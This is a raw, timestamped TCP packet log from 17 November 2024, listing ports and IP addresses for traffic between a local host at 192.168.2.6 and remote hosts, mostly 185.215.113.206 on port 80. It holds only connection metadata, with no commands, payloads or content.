Nov 17, 2024 10:07:19.631337881 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631355047 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631400108 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631500006 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631541014 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631551981 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631602049 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631627083 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631645918 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631653070 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631685019 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631690979 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631719112 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631736040 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631758928 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631768942 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631803036 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631807089 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631835938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631843090 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631870031 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631884098 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631902933 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631908894 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631937027 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631944895 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.631969929 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.631988049 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.632004023 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.632010937 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.632042885 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658165932 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658303976 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658356905 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658375025 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658386946 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658402920 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658407927 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658413887 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658421040 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658431053 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658437014 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658442974 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658453941 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658453941 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658467054 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658468008 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658478022 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658488989 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658500910 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658500910 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658515930 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658516884 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658528090 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.658539057 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.658570051 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697227001 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697247982 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697261095 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697273016 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697285891 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697336912 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697345018 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697349072 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697362900 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697374105 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697387934 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697393894 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697422981 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697427988 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697457075 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697478056 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697493076 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697505951 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697513103 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697520018 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697540998 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697568893 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697577953 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697587967 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697598934 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697611094 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697613955 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697643042 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697643042 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697654009 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697665930 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.697675943 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.697710991 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.701756954 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.721421957 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.721441984 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.723181963 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.726039886 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.726048946 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.732111931 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.736599922 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.736610889 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.736622095 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.736670017 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.736681938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.736694098 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.736706018 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.736718893 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.736731052 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.736731052 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.736764908 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.736764908 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.737138033 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737149954 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737162113 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737173080 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737184048 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737194061 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.737195969 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737202883 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.737217903 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737231016 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737245083 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737257004 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737256050 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.737257004 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.737267971 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.737291098 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.737600088 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.737993956 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.738056898 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.742017031 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.742032051 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.769355059 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.775799036 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.775852919 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.775887012 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.775902033 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.775902033 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.775934935 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776045084 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776077986 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776081085 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.776097059 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.776099920 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776112080 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776115894 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776144981 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776154041 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776180029 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776221037 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776221037 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776226997 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776262045 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776276112 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776303053 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776313066 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776364088 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776392937 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776396036 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776401043 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.776406050 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.776413918 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776428938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776441097 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776458025 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776478052 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776490927 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776525021 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776540041 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776540041 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776557922 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776592016 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776598930 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776598930 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776623964 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776648045 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776669025 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776679993 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776702881 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776737928 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776751041 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776751041 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776772976 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.776814938 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.776814938 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.789825916 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.789879084 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.789901972 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.789912939 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.789921045 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.789949894 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.789982080 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.789993048 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.789993048 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790033102 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790036917 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790060997 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790076971 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790091991 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790100098 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790100098 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790118933 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790122032 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790132999 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790142059 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790157080 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790170908 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790186882 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790194988 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790194988 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790199041 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790213108 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790224075 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790232897 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790235996 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790241957 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790250063 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790261984 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790273905 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790286064 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790286064 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790291071 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790308952 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790319920 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790333033 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790344000 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790355921 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790369034 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790380955 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790410042 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790410995 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790410995 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790410995 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790410995 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790421963 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790424109 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790431976 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790443897 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790447950 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790467024 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790479898 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790479898 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790493011 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790504932 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790515900 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790525913 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790527105 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790529013 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790539980 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790553093 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790565014 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790572882 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790572882 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790580034 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790591002 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790604115 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790615082 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790615082 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790616989 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790628910 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790641069 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790653944 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790664911 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790668964 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790668964 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790676117 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790688038 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790700912 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790705919 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.790710926 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790710926 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.790818930 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791013002 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791024923 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791037083 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791048050 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791064024 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791084051 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791084051 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791116953 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791153908 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791166067 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791177034 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791188002 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791193962 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791194916 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791201115 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791207075 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791213036 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791224957 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791234970 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791234970 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791238070 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791244984 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791290998 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791290998 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791337013 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791348934 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791362047 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791373968 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791377068 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791384935 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791395903 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791408062 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791414022 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791414022 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791419983 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791430950 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791445971 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791457891 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791466951 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791470051 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791481972 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791482925 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.791536093 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.791536093 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792057991 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792069912 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792081118 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792093039 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792104959 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792115927 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792117119 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792115927 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792129993 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792140961 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792162895 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792162895 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792162895 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792175055 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792179108 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792185068 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792196989 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792207956 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792207956 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792222023 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792236090 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792248011 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792256117 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792257071 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.792262077 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792280912 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.792292118 CET	80	49726	185.215.113.206	192.168.2.6
